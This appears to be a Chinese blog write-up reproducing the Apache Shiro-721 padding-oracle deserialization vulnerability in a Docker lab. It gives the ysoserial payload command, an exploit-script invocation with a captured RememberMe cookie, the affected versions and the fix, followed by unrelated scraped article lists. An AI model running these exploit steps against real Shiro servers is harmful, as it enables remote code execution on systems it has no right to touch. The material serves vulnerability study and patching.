漏洞原理

Shiro 的RememberMe Cookie使用的是 AES-128-CBC 模式加密。其中 128 表示密钥长度为128位,CBC 代表Cipher Block Chaining,这种AES算法模式的主要特点是将明文分成固定长度的块,然后利用前一个块的密文对当前块的明文进行加密处理。

这种模式的加密方式容易受到 Padding Oracle Attack 的影响。如果填充不正确,程序可能会以不同的方式响应,而不是简单的返回一个错误。然后攻击者可以利用这些差异性响应来逐个解密密文中的块,即使他们没有加密的密钥。

总之就有点类似于盲注,攻击者可以利用这一点来进行尝试不同的填充方式,精心构造RememberMe Cookie执行反序列化,无需知道RememberMe加密的密钥。

Shiro721 和 Shiro550 的差异?

Shiro721和Shiro550一样,都是生成恶意RememberMe Cookie反序列化执行代码,不同之处是RememberMe Cookie的生成方式。

shiro550 序列化利用需要知道AES加密的key,使用这个key直接构造Payload。

Shiro721 序列化是利用已登录用户的合法RememberMe Cookie值,通过服务器对填充密钥的不同响应,从而判断加密值是否被正确填充,构造Pyload。

复现

影响版本:Apache Shiro 1.2.5、1.2.6、1.3.0、1.3.1、1.3.2、1.4.0-RC2、1.4.0、1.4.1

环境搭建:

git clone https://github.com/inspiringz/Shiro-721.git
cd Shiro-721/Docker
docker build -t shiro-721 .
docker run -p 8080:8080 -d shiro-721

浏览器访问靶机 8080 端口:

使用已有用户登录,得到 RememberMe Cookie:

使用反序列化工具 ysoserial 生成Payload,利用链Payload选择 CommonsBeanutils1:

java -jar ysoserial-all.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser

这里使用其他师傅@3ND写的 shiro_exp.py 脚本,通过 Padding Oracle Attack 生成Rememberme Cookie:

python2 shiro_exp.py "http://192.168.88.150:8080/login.jsp" "Wd7Qotkee8tUDoziz3zSYud6BkDsHoFAhDGQ/ay2itmy6DRKk3/XCtlpN8DOr6NsVMvbpvEQeUG2+2nf86yHK52ugDzC9v7T0jF3a/SDg0rTpBsaFoJ7647C8sEhbsxno6pu/mpKWqg6Ii6zH/yUIJaRswCMEw/YWH5C36FeASHK8FOEl0CZyi1wcdgHlQAeaRH/U2vOv3Y0aMGkMf/D6Da9gofvfXLHx1TP3V6EyzO5Fnd/22H33oRLf5D/48b8uFfiA3QMzcaTML3U9foQRiSiYOp5Wr2ghBLU4HvqIM2YF7bIyAwWfr9+Zaa/JvwWjGYSbrXS0ay8G8oVP94ijDtVxXjLotx75eP0ahdXuO0AsEwe7a7nMgpwVStpz7igSBCjnJHeB5ZHEI6s7md30rltU99FtsjyOLBxYy6LryJTqmGokpk8sbbxch6Qefmx0xdob6/EFM8S0rn3mF48T0n6LfKlUZw3RjNG8B42Tba46k9gkvsFM40QJNNJWCp5" poc.ser

这个 exp 爆破时间有点长:

将得到的这个Rememberme Cookie替换到Cookie处发送:

需要注意的是,这里原本的JSESSIONID要删除掉,否则服务器不会进行反序列化操作。

进入到我们的靶机docker环境中,可以看到 /tmp/success 文件已经成功创建,利用成功。

修复方式

升级到 Shiro1.4.2 版本(Shiro1.4.2版本后,Shiro的加密模式由AES-CBC更换为AES-GCM)

参考文章:

https://github.com/inspiringz/Shiro-721

https://github.com/luckyfuture0177/VULOnceMore/blob/main/Java框架/CVE-2019-12422shiro-721Oracle填充攻击.md

https://issues.apache.org/jira/browse/SHIRO-721


若有错误,欢迎指正!o( ̄▽ ̄)ブ

Apache Shiro 721反序列化漏洞复现的更多相关文章

  1. 25. Apache Shiro Java反序列化漏洞

    前言: 最近在审核漏洞的时候,发现尽管Apache shiro这个反序列化漏洞爆出来好久了,但是由于漏洞特征不明显,并且shiro这个组件之前很少听说,导致大厂很多服务还存在shiro反序列化的漏洞, ...

  2. Apache Shiro Java反序列化漏洞分析

    1. 前言 最近工作上刚好碰到了这个漏洞,当时的漏洞环境是: shiro-core 1.2.4 commons-beanutils 1.9.1 最终利用ysoserial的CommonsBeanuti ...

  3. Shiro remeberMe反序列化漏洞复现(Shiro-550)

    Apache Shiro是一个强大易用的Java安全框架,提供了认证.授权.加密和会话管理等功能.Shiro框架直观.易用,同时也能提供健壮的安全性.在Apache Shiro编号为550的 issu ...

  4. 【CVE-2020-1948】Apache Dubbo Provider反序列化漏洞复现

    一.实验简介 实验所属系列: 系统安全 实验对象:本科/专科信息安全专业 相关课程及专业: 计算机网络 实验时数(学分):2 学时 实验类别: 实践实验类 二.实验目的 Apache Dubbo是一款 ...

  5. Apache Shiro反序列化漏洞复现

    Apache Shiro反序列化漏洞复现 0x01 搭建环境 获取docker镜像 Docker pull medicean/vulapps:s_shiro_1 重启docker system res ...

  6. Java安全之Shiro 550反序列化漏洞分析

    Java安全之Shiro 550反序列化漏洞分析 首发自安全客:Java安全之Shiro 550反序列化漏洞分析 0x00 前言 在近些时间基本都能在一些渗透或者是攻防演练中看到Shiro的身影,也是 ...

  7. JAVA反序列化漏洞复现

    目录 Weblogic反序列化漏洞 Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271) Weblogic WLS Cor ...

  8. Shiro 550反序列化漏洞分析

    Shiro 550反序列化漏洞分析 一.漏洞简介 影响版本:Apache Shiro < 1.2.4 特征判断:返回包中包含rememberMe=deleteMe字段. Apache Shiro ...

  9. WebLogic XMLDecoder反序列化漏洞复现

    WebLogic XMLDecoder反序列化漏洞复现 参考链接: https://bbs.ichunqiu.com/thread-31171-1-1.html git clone https://g ...

  10. Jboss反序列化漏洞复现(CVE-2017-12149)

    Jboss反序列化漏洞复现(CVE-2017-12149) 一.漏洞描述 该漏洞为Java反序列化错误类型,存在于jboss的HttpInvoker组件中的ReadOnlyAccessFilter过滤 ...

随机推荐

  1. 【Python】Selenium自动化测试之动态识别验证码图片方法(附静态图片文字获取)

    目录 一.前提 二.获取验证码 三.获取4位验证码 四.判断验证码是否正确 五.输入验证码登录 六.登录页面类 七.完整的获取验证码类代码 八.附录:静态图片文字提取 一.前提 返回目录 经常会遇到登 ...

  2. MySQL服务端innodb_buffer_pool_size配置参数

    innodb_buffer_pool_size是什么? innodb_buffer_pool是 InnoDB 缓冲池,是一个内存区域保存缓存的 InnoDB 数据为表.索引和其他辅助缓冲区.innod ...

  3. Argo CD初体验

    什么是 Argo CD? Argo CD 是一个声明式的 GitOps 持续交付工具,用于 Kubernetes 集群.它通过持续监控 Git 仓库中的 Kubernetes 资源配置文件,将这些配置 ...

  4. 从数据洞察到智能决策:合合信息&infiniflow RAG技术的实战案例分享

    从数据洞察到智能决策:合合信息&infiniflow RAG技术的实战案例分享 标题取自 LLamaIndex,这个内容最早提出于今年 2 月份 LlamaIndex 官方博客.从 22 年 ...

  5. RAG+Agent人工智能平台:RAGflow实现GraphRA知识库问答,打造极致多模态问答与AI编排流体验

    RAG+Agent人工智能平台:RAGflow实现GraphRA知识库问答,打造极致多模态问答与AI编排流体验 1.RAGflow简介 最近更新: 2024-09-13 增加知识库问答搜索模式. 20 ...

  6. jQuery父子页面之间元素、方法获取、调用

    资源来自:https://www.cnblogs.com/it-xcn/p/5896231.html 一.jquery 父.子页面之间页面元素的获取,方法的调用: 1. 父页面获取子页面元素: 格式: ...

  7. 系统编程-进程-close-on-exec机制

    我的相关博文: 系统编程-进程-exec系列函数超级详解(带各种实操代码) 一般我们会调用exec执行另一个程序,此时会用全新的程序替换子进程的正文,数据,堆和栈等. 此时保存文件描述符的变量当然也不 ...

  8. 线段树与二分操作 vases and flowers ——hdu 4614

    操作1,的关键是找到第一只和最后一只空花瓶,完全可以利用二分法查找,找第一只花瓶可以在[X,N]内查找,第一个位置pos1,最后一只花瓶则在[POS1,N]中找,然后更新[POS1,POS2],全部置 ...

  9. 痞子衡嵌入式:为下一代AI边缘处理设备而生 - i.MXRT700

    大家好,我是痞子衡,是正经搞技术的痞子.今天痞子衡给大家介绍的是恩智浦i.MX RTxxx系列MCU的新品i.MXRT700. 四年前恩智浦官宣了面向下一代智能穿戴设备的 i.MXRT500 系列,这 ...

  10. RedisTemplate设置的key,redis客户端取不到

    原因:RedisTemplate 在set key时,key被序列化 解决办法1: import org.springframework.context.annotation.Bean; import ...